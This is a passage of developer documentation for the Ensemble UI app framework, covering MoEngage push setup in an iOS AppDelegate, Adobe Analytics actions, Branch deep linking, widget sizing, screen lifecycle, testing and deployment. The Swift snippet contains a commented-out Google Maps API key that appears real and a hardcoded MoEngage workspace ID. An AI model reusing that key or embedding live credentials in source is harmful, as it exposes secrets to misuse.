flutter_local_notifications - -// Add below Moenage Dependencies -import moengage_flutter_ios -import MoEngageSDK -import MoEngageInApps -import MoEngageMessaging - - -@main -@objc class AppDelegate: FlutterAppDelegate { - static let methodChannelName: String = "com.ensembleui.host.platform" - var methodChannel: FlutterMethodChannel? - - override func application( - _ application: UIApplication, - didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? - ) -> Bool { - let controller : FlutterViewController = window?.rootViewController as! FlutterViewController - methodChannel = FlutterMethodChannel(name: AppDelegate.methodChannelName, binaryMessenger: controller.binaryMessenger) -// GMSServices.provideAPIKey("AIzaSyD8vwvoaEPEgYemp1EkIETetJMvyS4Ptqk") - FlutterLocalNotificationsPlugin.setPluginRegistrantCallback { (registry) in - GeneratedPluginRegistrant.register(with: registry) } - - if #available(iOS 10.0, *) { - UNUserNotificationCenter.current().delegate = self as UNUserNotificationCenterDelegate - } - - // Add below 6 lines for moengage implementatino - let yourWorkspaceID = "1SZEGT6AYEZE0XANA7IKYPL8" - let sdkConfig = MoEngageSDKConfig(withAppID: yourWorkspaceID) - sdkConfig.appGroupID = "group.com.alphadevs.MoEngage.NotificationServices" - sdkConfig.consoleLogConfig = MoEngageConsoleLogConfig(isLoggingEnabled: true, loglevel: .verbose) - - MoEngageSDKCore.sharedInstance.enableAllLogs() - MoEngageInitializer.sharedInstance.initializeDefaultInstance(sdkConfig, launchOptions: launchOptions) - - - GeneratedPluginRegistrant.register(with: self) - return super.application(application, didFinishLaunchingWithOptions: launchOptions) - } - - override func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { - // Calling flutter method "urlOpened" from iOS - methodChannel?.invokeMethod("urlOpened", arguments: url.absoluteString) - return true - } - - // Add below 4 functions for moenage - override func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) { - MoEngageSDKMessaging.sharedInstance.setPushToken(deviceToken) - } - - override func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { - completionHandler([.alert, .sound]) - } - - override func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { - MoEngageSDKMessaging.sharedInstance.userNotificationCenter(center, didReceive: response) - completionHandler() - } - - - override func application(_ application: UIApplication, willContinueUserActivityWithType userActivityType: String) -> Bool { - print("Opening Universal link", userActivityType) - return false - } -} -``` - ---- - - -# Adobe Analytics - -Adobe Analytics is a powerful analytics solution that provides real-time analytics and detailed segmentation capabilities. Ensemble provides native integration with Adobe Analytics offering: -- Real-time analytics tracking -- User identity management -- Consent management -- User profile management -- Adobe Assurance integration -- Edge network support - -## Prerequisites - -1. You have created an Adobe Experience Platform project -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## Adobe Experience Platform Setup - -The following setup on Adobe Experience Platform is required regardless of whether you're enabling Adobe Analytics through Ensemble Studio or local development. - -1. Get Adobe Experience Platform Configuration: - - Navigate to Adobe Experience Platform → Data Collection → Mobile Properties - - Create a new mobile property or select an existing one - - Copy your configuration details including: - - App ID - -2. Configure Edge Network: - - Set up your Edge Network configuration - - Configure your datastreams - - Set up your schema and datasets - -## Enable Adobe Analytics - -### In Ensemble Studio - -If you're using Ensemble Studio for building your application, follow these steps to enable Adobe Analytics. - -1. Navigate to Build & Deploy → Build Settings -2. Enable Adobe Analytics toggle in the Modules section -3. Enter Configuration Details: - - Adobe Experience Platform App ID - -### In Local Project - -If you're developing locally without using Ensemble Studio build system, follow these configuration steps. - -1. Update `ensemble_modules.dart`: - - Uncomment the Adobe Analytics import: - ```dart - import 'package:ensemble_adobe_analytics/adobe_analytics.dart'; - ``` - - Set `useAdobeAnalytics` to `true`: - ```dart - useAdobeAnalytics: true, - ``` - - Initialize Adobe Analytics with your App ID: - ```dart - GetIt.I.registerSingleton( - AdobeAnalyticsImpl(appId: "YOUR_APP_ID") - ); - ``` - -## Example Actions - -### Core Operations - -#### Track Action (User Interactions) - -Track event actions that occur in your application. - -```yaml -logEvent: - name: trackButtonClick - provider: adobe - operation: trackAction - parameters: - eventName: 'button_click' - eventType: 'button_click' - eventSource: 'mobile_app' - eventCategory: 'button_click' - eventAction: 'button_click' - eventLabel: 'button_click' -``` - -#### Track State (Page Views) - -Track states that represent screens or views in your application. - -```yaml -logEvent: - name: trackScreenView - provider: adobe - operation: trackState - parameters: - eventName: 'screen_view' - eventType: 'screen_view' - eventSource: 'mobile_app' -``` - -#### Edge Operations - -Send an Experience event to Adobe Experience Platform Edge Network. - -```yaml -logEvent: - name: trackXdmEvent - provider: adobe - operation: sendEvent - parameters: - xdmData: - eventType: 'commerce.productViews' - commerce: - productViews: - value: 1 - data: - customField: 'customValue' - userSegment: - - 'segment1' - - 'segment2' - datastreamIdOverride: -``` - -### Identity Management - -#### Get Experience Cloud ID - -Retrieve the Experience Cloud ID (ECID) that was generated when the app was initially launched. - -```yaml -logEvent: - name: getExperienceCloudId - provider: adobe - operation: getExperienceCloudId -``` - -#### Get URL Variables -Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. The response will not return any leading & or ?, since the caller is responsible for placing the variables in the resulting URL in the correct locations. If an error occurs while retrieving the URL variables, the callback handler will return a null value. Otherwise, the encoded string is returned. An example of an encoded string is as follows: 'adobe_mc=TS%3DTIMESTAMP_VALUE%7CMCMID%3DYOUR_ECID%7CMCORGID%3D9YOUR_EXPERIENCE_CLOUD_ID' -- `MCID`: This is also known as the Experience Cloud ID (ECID). -- `MCORGID`: This is also known as the Experience Cloud Organization ID. -- `TS`: The timestamp that is taken when the request was made. - -```yaml -logEvent: - name: getUrlVariables - provider: adobe - operation: getUrlVariables -``` - -#### Get All Identities - -Get all identities in the Identity for Edge Network extension. - -```yaml -logEvent: - name: getIdentities - provider: adobe - operation: getIdentities -``` - -#### Update Identities - -Update the currently known identities within the SDK. - -```yaml -logEvent: - name: updateIdentities - provider: adobe - operation: updateIdentities - parameters: - identities: - CustomNamespace: - - id: 'test-custom-id' - authenticatedState: 'authenticated' - primary: true - CustomNamespace2: - - id: 'test-custom-id-2' - authenticatedState: 'authenticated' - primary: false -``` - -#### Remove Identity -Remove the identity from the stored client-side IdentityMap. The Identity extension will stop sending the identifier to the Edge Network. Using this API does not remove the identifier from the server-side User Profile Graph or Identity Graph. -Identities with an empty id or namespace are not allowed and are ignored. - -Removing identities using a reserved namespace is not allowed using this API. The reserved namespaces are: -- ECID -- IDFA -- GAID - -```yaml -logEvent: - name: removeIdentity - provider: adobe - operation: removeIdentity - parameters: - item: - id: 'test-custom-id' - authenticatedState: 'ambiguous' # Options: 'authenticated', 'ambiguous', 'loggedOut' - primary: false - namespace: 'CustomNamespace' -``` - -#### Reset All Identities -Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID) . Using this API does not remove the identifiers from the server-side User Profile Graph or Identity Graph. - -This is a destructive action, since once an ECID is removed it cannot be reused. The new ECID generated by this API can increase metrics like unique visitors when a new user profile is created. - -Some example use cases for this API are: - -- During debugging, to see how new ECIDs (and other identifiers paired with it) behave with existing rules and metrics. -- A last-resort reset for when an ECID should no longer be used. - -This API is not recommended for: - -- Resetting a user's consent and privacy settings. -- Removing existing custom identifiers; use the `removeIdentity` API instead. -- Removing a previously synced advertising identifier after the advertising tracking settings were changed by the user; use the `setAdvertisingIdentifier` API instead. - -ℹ️ The Identity for Edge Network extension does not read the Mobile SDK's privacy status and therefor setting the SDK's privacy status to opt-out will not clear the identities from the Identity for Edge Network extension. - -```yaml -logEvent: - name: resetIdentities - provider: adobe - operation: resetIdentities -``` - -#### Set Advertising Identifier - -When this API is called with a valid advertising identifier, the Identity for Edge Network extension includes the advertising identifier in the XDM Identity Map using the namespace GAID (Google Advertising ID) in Android and IDFA (Identifier for Advertisers) in iOS. If the API is called with the empty string (''), null/nil, or the all-zeros UUID string values, the advertising identifier is removed from the XDM Identity Map (if previously set). The advertising identifier is preserved between app upgrades, is saved and restored during the standard application backup process, and is removed at uninstall. - -```yaml -logEvent: - name: setAdvertisingIdentifier - provider: adobe - operation: setAdvertisingIdentifier - parameters: - advertisingIdentifier: -``` - -### Consent Management - -#### Get Current Consents - -Retrieve the current consent preferences stored in the Consent extension. - -```yaml -logEvent: - name: getConsents - provider: adobe - operation: getConsents -``` - -#### Update Consent - -Merge the existing consents with the given consents. - -```yaml -logEvent: - name: updateConsent - provider: adobe - operation: updateConsent - parameters: - allowed: true # or false -``` - -#### Set Default Consent - -Sets the default consent preferences for the Consent extension. - -```yaml -logEvent: - name: setDefaultConsent - provider: adobe - operation: setDefaultConsent - parameters: - allowed: true # or false -``` - -### User Profile Management - -#### Get User Attributes - -Get user profile attributes which match the provided keys. - -```yaml -logEvent: - name: getUserAttributes - provider: adobe - operation: getUserAttributes - parameters: - attributes: - - 'firstName' - - 'lastName' - - 'email' -``` - -#### Update User Attributes - -Set multiple user profile attributes. - -```yaml -logEvent: - name: updateUserAttributes - provider: adobe - operation: updateUserAttributes - parameters: - attributeMap: - firstName: 'John' - lastName: 'Doe' - email: 'john.doe@example.com' -``` - -#### Remove User Attributes - -Remove provided user profile attributes if they exist. - -```yaml -logEvent: - name: removeUserAttributes - provider: adobe - operation: removeUserAttributes - parameters: - attributes: - - 'firstName' - - 'lastName' -``` - -### Adobe Assurance - -Configure Adobe Assurance for debugging and validation. - -```yaml -logEvent: - name: setupAssurance - provider: adobe - operation: setupAssurance - parameters: - url: -``` - ---- - -# Setup Deeplink - -In this guide, we'll integrate the deep linking for the Android and iOS Apps - -## Android Setup -1. Create a file named ```assetlinks.json``` and add namespace, package and sha256 -2. Upload the ```assetlinks.json``` file to the website (https://example.com/.wellknown/assetlinks.json) -3. Add ```intent-filter with domain, path, scheme,``` etc in the ```activity``` tag of ```AndroidManifest.xml``` -4. meta-data ```flutter_deeplinking_enabled``` to the ```activity``` tag -5. To test deep links, Execute the following command in the terminal - -``` -adb shell am start -a android.intent.action.VIEW \ --c android.intent.category.BROWSABLE \ --d [https://example.com](https://example.com/) -``` - -6. Test it in physical device, Send the url to any of the notes app and click the link. - -For more info: [Android App Links](https://developer.android.com/training/app-links) - -## iOS Setup -1. Add ```Associated Domain``` capability. Prefix the domain with ```applinks:``` -2. Create a new file named ```apple-app-site-association``` with no file extension. Add details like appIds (teamId.BundleID), components (url path), etc -3. It must be uploaded in the (https://ensembleui.com/.wellknown/apple-app-site-association), needs to be served with content type (application/json) but without the file extension -4. Add ```FlutterDeepLinkingEnabled``` to the ```Info.plist``` file -5. To test deep links, Use ```xcrun simctl openurl booted [https://example.com/path]```(https://example.com/path) -6. Test it in physical device, Send the url to any of the notes app and click the link - -For more info: [iOS Universal Link](https://developer.apple.com/ios/universal-links/) - - -## For Deferred Deep Linking -Checkout - https://docs.ensembleui.com/#/build/deep-link/deferred-deeplink - ---- - -# Setup Deferred Deeplink -In this guide, we'll integrate the deferred deep linking for the Android and iOS Apps. There are some service providers like branch, appsflyer, etc for deferred deep linking. - -*NOTE: Currently, we support only the BranchIO as of now.* - -## BranchIO (http://branch.io) -For Detailed Doc - https://help.branch.io/developers-hub/docs - -#### Configure Branch Dashboard -1. Go to Configuration -> General -2. Setup Default URL -3. Android Redirects - - Android URI Scheme - - Google Play Search or Custom URL - - SHA 256 Certificate Fingerprints - - Additional Settings -4. iOS Redirects - - iOS URI Scheme - - Apple Store Search or Custom URL - - Enable Universal Links (BundleID, Apple App Prefix) - - Additional Settings - -#### Configure Native Platforms -1. Android - - Add Branch to your AndroidManifest.xml - - Add Branch App Links (Test and Live) - - Add Branch Keys (Test and Live) - -2. iOS - - Configure Bundle ID - - Add associated domains from branch dashboard's Link Domain section of the configuration page to the iOS project "Signing & Capabilities" associated domain - - Configure Info.plist for adding branch keys (Test and Live) and Links (Test and Live) - - Add Custom URL Scheme in the URL types of Info.plist - -### Module (ensemble_deeplink) -Enable Deeplink service in Ensemble code - -By default, Ensemble does not include the deeplink module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_deeplink/deferred_link_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(DeferredLinkManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useDeeplink = false; -``` - ---- - -#### Initialize Branch SDK -1. In the ensemble project, Initialize your branch SDK using the ```deeplinkInit``` action - -```yaml -deeplinkInit: - provider: branch - options: - useTestKey: true - enableLog: true - disableTrack: false - onSuccess: | - //@code - console.log("BranchSDK:: initialized successfully"); - onLinkReceived: | - //@code - console.log("BranchSDK:: Branch Link Received: " + event.data.link); - onError: | - //@code - console.log("BranchSDK:: Failed to initialize" + event.error); -``` - -2. Create branch deep link using the ```createDeeplink``` action - -```yaml -Button: - label: Create Branch Link - onTap: - createDeeplink: - provider: branch - universalProps: - id: item/12345 - title: My Content Title - contentDescription: My Content Description - imageUrl: https://ensembleui.com/mycontent-123.png - contentSchema: product - linkProps: - channel: ensembleui - feature: Sharing - campaign: content launch - stage: New User - tags: [data, fsdf, sdd] - controlParams: - ref: 1234 - name: Ensemble - onSuccess: | - //@code - console.log("BranchSDK:: Link created successfully: " + event.data.result); - onError: | - //@code - console.log("BranchSDK:: Failed to create a link" + event.error); -``` - ---- - - -# Embed Flutter screen in an Ensemble app - -Ensemble allows you to navigate to a screen built with Flutter. This allows you to reuse any existing Flutter screen. - - - -## How it works. - -This is our beloved counter widget. Let's see how you can specify this widget and call it in your Ensemble App. - -```dart -class CounterWidget extends StatefulWidget { - const CounterWidget({ - super.key, - this.message, - }); - - final String? message; - - @override - State createState() => _CounterWidgetState(); -} - -class _CounterWidgetState extends State { - int counter = 0; - - void _incrementCounter() { - setState(() { - counter++; - }); - } - - @override - void initState() { - super.initState(); - } - - @override - Widget build(BuildContext context) { - return Scaffold( - appBar: AppBar( - backgroundColor: Theme.of(context).colorScheme.inversePrimary, - title: const Text('Flutter Page'), - ), - floatingActionButton: FloatingActionButton( - onPressed: _incrementCounter, - tooltip: 'Increment', - child: const Icon(Icons.add), - ), - body: Center( - child: Column( - mainAxisAlignment: MainAxisAlignment.center, - children: [ - Text( - widget.message ?? 'You have pushed the button this many times:', - ), - Text( - '$counter', - style: Theme.of(context).textTheme.headlineMedium, - ), - ], - ), - ), - ); - } -} - -``` - - -First we need to specify a map of name and builder widget. The builder has context and args as parameters. -The args are basically passed using `navigateScreen`'s inputs. - - -```dart -void main() async { - WidgetsFlutterBinding.ensureInitialized(); - Ensemble().setExternalScreenWidgets({ - 'counterScreen': (context, args) { - final message = args?['message']; - return CounterWidget(message: message); - }, - }); - runApp(const EnsembleApp()); -} -``` - -Now, the ensemble framework know about external screen named `counterScreen`. We can now navigate to external screen like following. - -```yaml -Button: - label: Navigate external screen - onTap: - navigateScreen: - name: counterScreen - external: true - inputs: - message: Hello world - -``` - ---- - -# Using local assets - -While developing and previewing your app, you may reference images via URLs. While this is great for rapid prototyping, production Native apps may want to minimize rendering time by referencing assets locally. This is where Environment Variables come in. - -Environment variables can be used for many purposes. You define them in your App's setting on [Ensemble Studio](https://studio.ensembleui.com/) and referencing them any where in your pages with `${env.my_env_variable_name}`. Ensemble also allow you to override these variables in production. This technique allows Ensemble to serve assets locally. - -### Define the environment variables - -Navigate to your App's setting and add an environment variable. -Add Environment Variable - -### Using the environment variables - -Any screens can reference the variable with `${env.variable_name}`. Here we prefix the image with the `imageBaseUrl`. -Add Environment Variable - -### Override environment variables to load images locally - -When building Production app (see [Preparing your App](#preparing-your-app-for-deployment), you can load this image locally instead of via URL. - -- Add the assets under folder `/ensemble/assets/`. -- Open `/ensemble/ensemble-config.yaml` and add a matching environment variable that you defined on Ensemble Studio. Leave the value empty (if all your assets are directly under /ensemble/assets). -- Note: define the variable name but with empty value will attempt to load assets from `/ensemble/assets/`. - ---- - -# Understanding Widget Sizing -Widget sizing is a crucial aspect of building responsive UIs in Ensemble. In this guide, we'll explore the challenges of widget sizing, common solutions, and best practices to help you create layouts that look great on any screen. - -## Core Concepts -#### Parent Constraints -In Ensemble, widget sizing is governed by a system of constraints passed down from parent widgets to their children. These constraints define the minimum and maximum sizes a widget can take on the screen. - -Starting from the root (the screen dimension), constraints are passed down the layout tree to determine the size of each widget. Most widgets, if themselves receive constraints from their parent, will recalculate the constraints (e.g. subtract padding from the available space) and pass them down to their children. A widget may come up with its own size, but it will always be bounded by the constraints provided by its parent. - -**Note**: *Any widget that does not receive constraints from its parent will not be able to pass the constraints down to its children.* - -**Parent widgets that do not provide constraints to their children:** -- *Row does not provided the **width constraint** to its children. Any children of Row must be able to determine their own width, or an error may occur.* -- *Similarly Column does not provide the **height constraint** to its children* -- *Stack does not provide **width nor height constraint** to its children.* -- *Scrollable widgets (e.g ListView, Screen with scrollableView = true) do not provide constraints to their children in the **scrollable direction**.* - -#### Widget with Intrinsic Sizes -Some widgets can automatically determine their own dimensions based on their content or specific properties. These widgets are straightforward to use because they require minimal configuration to look right. - -**Examples:** Text, Image, Icon, .. -```yaml -# Text sizes itself based on the text and the applied styles -Text: - text: Hello Ensemble ! - styles: - fontSize: 16 -``` -**Note**: *just because a widget can determine its own size doesn't mean it will get the size it needs. The final sizing will be bounded by the constraints (minimum/maximum width and minimum/maximum height) provided by the parent widget.* - -#### Widgets without Intrinsic Sizes -Conversely, some widgets cannot determine their sizes (or it may not make sense to). These widgets rely on their parent to provide the sizing constraints. Without the constraint an error will occur, and the system will attempt to give you warnings. If the warning system misses this, the screen may be rendered as a blank screen. - -**Examples:** Divider, Map, TextInput (width), .. -```yaml -# Column does not provide height constraint to its children, -# so Map will not have a height and cannot be rendered -Column: - children: - - Map: -``` - -## Sizing Challenges and Solutions -**Challenge 1**: Managing Unbounded Sizes
    -When a widget does not have an intrinsic size nor receives explicit constraints from its parent, it faces an "unbounded size" problem. - -Example: When a TextInput is inside a Row.
    -TextInput does not have a width and rely on the parent to provide a width constraint, which the Row does not provide.
    -Solution: Set the width on the TextInput, or use FlexRow as the parent. FlexRow will stretch itself to fill its parent's width constraint, and in turn provide a constraint to the TextInput. - -Example: When a FlexColumn is inside a 'Screen with scrollableView=true'.
    -A FlexColumn doesn't calculate its height from the children so it does not have a height. Instead it will attempt to stretch to fill the available height constraint provided by the parent. This will produce an error since the scrollable Screen cannot provide a height constraint.
    -Solution: Ensure every widget in a scrollable direction has a size. In this case simply use a Column instead of a FlexColumn. A Column will calculate its height from the children, forgo the need for a height constraint. - ---- - -# Item Template - -When developing UI, it is common to display lists of items, and Ensemble simplifies this process by providing the `item-template` property. When used within certain containers (e.g. Column, Carousel, Grid, ..), you can iterate through a data set and render a set of child widgets. - -`item-template` takes the following properties: - -| Property | Type | Description | -| -------- |--------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| -| data | array | Bind to an array of data from an API response or a variable | -| name | string | Variable name referencing each item in the array. Name it as per your use case (e.g. 'person', 'item' ..) | -| template | [Widget](#widget-directory) | Define the child widget to render for each item in the array. Within this widget you can bind to the item using the `name` syntax (e.g. `${person.firstName}`) | -| indexId | string | (optional) Default: index. The property that will be assigned the current index of the data array while looping through it | - -Different containers may expose additional properties to further customize the rendering of the children, but they will always have the `data` and `name`. - -### Basic Usage -To demonstrate the basic usage of `item-template`, Below we hardcode a list of names and render each as a Text widget. These text widgets will be displayed vertically one after another because they are inside a Column parent, with a gap of 10 in between. -```yaml -Column: - styles: - gap: 10 # gap between each child - item-template: - data: ["John", "Mary", "Peter"] - name: name - template: - Text: - text: Hello ${name} -``` -The output will look something like this: -Screenshot - -### Binding to API data -In a real-world scenario, you would bind to data from an API response. Below is the shorten JSON payload from hitting "https://randomuser.me/api/?results=5". We'll be using this to render our UI. -```json -{ - "results": [ - { - "name": { - "title": "Mrs", - "first": "Lya", - "last": "Brun" - }, - "picture": { - "large": "https://randomuser.me/api/portraits/women/9.jpg", - "medium": "https://randomuser.me/api/portraits/med/women/9.jpg", - "thumbnail": "https://randomuser.me/api/portraits/thumb/women/9.jpg" - }, - }, - ... (more entries) ... - ], -} -``` -Let's update our definition to fetch the API on page load, then show each person's photo and name in a Carousel. - -```yaml -View: - styles: - useSafeArea: true - # call the API upon loading the screen - onLoad: - invokeAPI: - name: getRandomUsers - body: - Carousel: - styles: - layout: multiple - height: 150 - multipleItemWidthRatio: .3 - indicatorType: circle - item-template: - # bind to API's response body, then access the 'results' array within it - data: ${getRandomUsers.body.results} - # name each item in the array as 'person' - name: person - template: - Column: - styles: - crossAxis: center - gap: 10 - children: - - Image: - styles: - width: 60 - height: 60 - borderRadius: 1000 - borderColor: grey - # the JSON response - source: ${person.picture.medium} - - Text: - styles: - textAlign: center - text: ${person.name.first} ${person.name.last} - -API: - getRandomUsers: - url: https://randomuser.me/api/?results=5 -``` -The output will look something like this: -Screenshot - -Here's an [example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yWM8nLePITT8IpCZLMNe) of how to use `indexId` property to access the current index of the data array. - ---- - -# Data Binding -Data binding allows you to bind data from various sources to your UI components. Any changes to applicable data sources will automatically update the UI components. Data Binding is also used when passing variables to API, Widgets, and Actions (among others). - -The syntax for binding is `${bindingSource}`, and can be used anywhere a text or an expression is accepted. - -### Binding to an editable widget -Ensemble makes it easy to listen for changes to any widget's properties. In the example below, we defined a TextInput and give it an id "myInput". We then created a readonly Text and bind its text property to the TextInput, prefixed with "You entered". As you are making changes to the TextInput and the focus leaves, TextInput will dispatch its changes to all listeners, causing the readonly Text to re-render its content. -Screenshot - -(to be updated ...) - ---- - -# Screen Lifecycle -An Ensemble app consists of a series of screens, each with its own lifecycle that defines how it renders, pauses, resumes, and disposes of resources. You can provide actions to be triggered at each of these lifecycle stages. - -### onLoad -This stage is triggered when the screen is first loaded and the body widget has been rendered. At this point, you will have access to all widget IDs (if specified). This is an ideal place to initialize your screen's states and invoke APIs. - -### onPause -This stage is triggered when the screen is no longer active. This could be due to the user navigating to another screen or, in native applications, the app moving to the background. In the latter case, the OS may terminate the app if the Action takes too long to process or uses excessive resources, so it is recommended to execute actions that will complete promptly. - -`onPause` includes the following payload (accessible via `event.data.*`): -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| isAppPause | boolean | This will be true if the app (Native only) is causing onPause to be called because it is going to the background (or the user is switching to another App). Use this to differentiate from the user navigating to another screen. | - - -### onResume -This stage is triggered when the screen becomes active again after having previously been inactive. This could be due to the user navigating back to the screen or the app (native only) coming to the foreground. - -Note that this will not be triggered if you navigate to another instance of the same screen. In other words, only navigating back (or switching screens using the bottom navigation bar) will trigger this. - -`onResume` has the following payload (accessible via `event.data.*`): -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| inactiveDuration | number (ms) | Specifying how long the screen has been in inactive state (in milliseconds). This is useful for tracking how long the screen has been inactive and re-fetching the data. Note that we may not always able to determine this, so it may be null. | -| isAppResume | boolean | This will be true if the app is causing onResume to be called because it is going to the foreground (the user is opening your app). Use this to differentiate with the user navigating back to your screen. | - ---- - -# Custom Widgets -In addition to Ensemble-provided widgets and containers, you can create custom widgets to extend the functionality of your app. Custom widgets can be used to encapsulate complex logic, create reusable components, or integrate with third-party libraries. - -Custom Widgets can be created and used within a Screen or globally across multiple screens. - -(to be continued ...) - -### Screen-level Custom Widgets - - -### App-level Custom Widgets - ---- - -# Preview your app - -Your apps are available for preview on web, and iOS and Android devices. Share it with your QA, Product Managers, customers, ... for early feedbacks. - -## Preview on iOS and Android - -First, download Ensemble Preview app by scanning this QR Code: - -
    - -![QR code for Ensemble Preview](public/images/app-qr.png) - -
    - - -or select your platform here: - - -
    Download on the App Store - -Get it on Google Play - -Now follow these steps to preview your app: - -1. Log in to Ensemble Studio. -2. Click on the app you want to preview. -3. Click Settings on the left sidebar. Here you find the app ID and a QR code. -4. Open Ensemble Preview app and select the option to scan the QR code on the settings page. - - -## Preview on web - -1. Log in to Ensemble Studio. -2. Locate the app you want to share, and click the `...` menu. -3. Select Get Preview Link. -4. The preview link is now copied to your clipboard. Paste it in the browser or share with others to run your app on web. - ---- - -# Automated Testing - -Ensemble apps support automated testing using Flutter's integration testing framework. You can easily find and interact with widgets in your tests using the `testId` property. - -## Adding testIds to your widgets - -Add `testId` properties to widgets in your YAML to make them findable in tests: - -```yaml -Button: - testId: navigate_button - label: Navigate to Goodbye Screen - onTap: - navigateScreen: - name: Goodbye -``` - -## Writing integration tests - -The [starter project](https://github.com/EnsembleUI/ensemble/tree/main/starter) includes an example integration test at [`integration_test/app_test.dart`](https://github.com/EnsembleUI/ensemble/blob/main/starter/integration_test/app_test.dart) that demonstrates: - -- Finding widgets by testId using `find.byKey(ValueKey('testId'))` -- Interacting with widgets (tap, enter text, etc.) -- Navigating between screens -- Verifying widget states - -Here's a simplified example: - -```dart -import 'package:flutter_test/flutter_test.dart'; -import 'package:integration_test/integration_test.dart'; -import 'package:ensemble_starter/main.dart' as app; - -void main() { - IntegrationTestWidgetsFlutterBinding.ensureInitialized(); - - group('Ensemble App Testing', () { - testWidgets('Test navigation flow', (WidgetTester tester) async { - app.main(); - await tester.pumpAndSettle(); - - // Find widgets by testId - final buttonFinder = find.byKey(ValueKey('navigate_button')); - expect(buttonFinder, findsOneWidget); - - // Interact with widgets - await tester.tap(buttonFinder); - await tester.pumpAndSettle(); - - // Verify navigation worked - final secondScreenTextFinder = find.byKey(ValueKey('goodbye_title')); - expect(secondScreenTextFinder, findsOneWidget); - }); - }); -} -``` - -## Running tests - -Run your integration tests with: - -```bash -flutter test integration_test/app_test.dart -``` - -For more information on Flutter integration tests, see the [Flutter Testing documentation](https://docs.flutter.dev/testing/integration-tests). - ---- - -# Preparing your App for deployment - -Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. - -### Prerequisites -* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. - -### Download Ensemble Starter -Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. -* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. -* Follow the README in this repo. - -### Requesting permissions from your end-users -If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. -* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. -* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. - -Below are the snippet per capability to insert for iOS and Android respectively. - -**Location** -```xml -NSLocationWhenInUseUsageDescription -e.g. This app needs access to your location to .... -``` - -**Camera** -```xml -NSCameraUsageDescription -e.g. your reason for requesting camera access - -NSMicrophoneUsageDescription -e.g. your reason for requesting microphone access -``` - - ---- - -## Configure Social Sign In for Deployment -Before deployment, you need to configure your own OAuth credentials plus specific setups for each platforms. - -### Setting up Sign In credentials -On Google's API Console, create your OAuth client ID for each platform (i.e. iOS, Android, Web). - -For `iOS`, enter the bundle ID of your App. - -Google iOS client ID - -For `Android`, use Web Application type (don't use Android type). You can leave Authorized Origins and Redirect URIs blank. - -Google Android client ID - -For `Web`, use Web Application type. -- Authorized Origins should be your domain (e.g. https://mycompany.com). You can also use localhost while in development (e.g. http://localhost:3000). -- Redirect URIs can be empty. - -webclient ID - -Using a code or text editor, open `/ensemble/ensemble-config.yaml` and enter these credentials. - -```yaml -... -services: -  signIn: -    providers: -      google: -        iOSClientId: -        androidClientId: -        webClientId: -``` - -#### Setting up iOS -On Google's API Console, open the OAuth client ID for iOS and look for the `iOS URL Scheme` under Additional Information. - -Open `/ios/Runner/Info.plist` with a code editor, look for the block below and replace the value with your iOS URL Scheme. - -```yaml - - CFBundleURLTypes - - - - CFBundleTypeRole - Editor - CFBundleURLSchemes - - your_iOS_URL_scheme_here - - - -``` - -#### Setting up Android -There is no additional setup required for Android. - -#### Setting up Web -In the `web/index.html` file, look for the block below and replace the value with your Web client ID. -```html - -``` - - - - - -### Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -* Under pubspec.yaml. Uncomment the Auth module block, then run `flutter pub get`. -```yaml - # Uncomment to enable Auth service - ensemble_auth: - git: - url: https://github.com/EnsembleUI/ensemble_module_auth.git - ref: main -``` - -* Uncomment and update the following lines in `/lib/generated/ensemble_modules.dart`. Try running it with `flutter run` -``` -... -import 'package:ensemble_auth/auth_module.dart'; -... -static const useAuth = true; # set to true -... -if (useAuth) { - // Uncomment to enable Auth service - AuthModuleImpl().init(); -} else { - AuthModuleStub().init(); -} -... -``` - ---- - -# Deploy to iOS TestFlight -Note: we are showing here how to deploy your app to Apple TestFlight. Please follow Apple's [documentation](https://developer.apple.com/app-store/submitting/) on how to deploy to the App Store. -#### Register app -If this is a brand-new app, you first need to register a unique Bundle ID and a unique App Name with Apple. -1. [Register the Bundle ID](https://developer.apple.com/account/resources/identifiers/bundleId/add/bundle) `e.g. com.mycompany.appname`. This is important and cannot be changed later on. You'll also need this ID later in this document. - -Add Bundle ID - -2. [Create a New App](https://appstoreconnect.apple.com/apps) using a unique App Name and this Bundle ID. The App Name is how your app will eventually be searchable and appear in the App Store. - -Add App - -#### Preparing Ensemble for uploading -* Make sure you completed the [Preparing your 